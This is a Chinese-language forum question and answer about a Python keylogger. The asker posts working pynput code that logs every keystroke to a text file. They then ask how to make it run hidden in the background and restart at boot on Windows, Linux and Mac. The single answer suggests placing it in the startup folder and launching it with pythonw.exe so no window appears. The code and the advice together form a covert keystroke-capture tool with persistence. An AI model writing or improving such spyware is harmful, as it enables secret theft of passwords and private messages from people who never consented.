我试图在Python3中制作一个键盘记录程序,但我不知道如何使它在后台运行,并在PC重新启动时重新启动它。如果有办法让它在Linux、Windows和Mac上运行,那就太完美了,但我知道这很难。我将非常感谢任何答案。
from pynput import keyboard
def on_press(key):
with open("keys.txt", "a") as f:
try:
f.write(f" {str(key.char)} ")
except:
lst_key = list(str(key))
len_key = 0
clean_key = [""]
sp_key = ""
for i in range(4):
lst_key.pop(0)
for i in lst_key:
len_key = len_key + 1
for i in range(len_key):
sp_key = sp_key + lst_key[i]
f.write(f" {sp_key} ")
f.close()
with keyboard.Listener(
on_press=on_press) as listener:
listener.join()
1条答案
按热度按时间ryevplcw1#
虽然我可能是学习Python的新手,所以可能有更多的方法可以做到这一点,但你可以:
1.把文件放到你的启动文件夹/目录
1.使用pythonw.exe(据我所知,包含在python中)在不打开终端的情况下运行脚本[我认为您使用cmd]
1.确保程序不会在你不希望的时候自动关闭
希望对Bonus有帮助:还有一些预先制作的应用程序可以在你需要的时候播放你的python脚本(即使是在电脑启动的时候),如果你想的话,你可以去看看。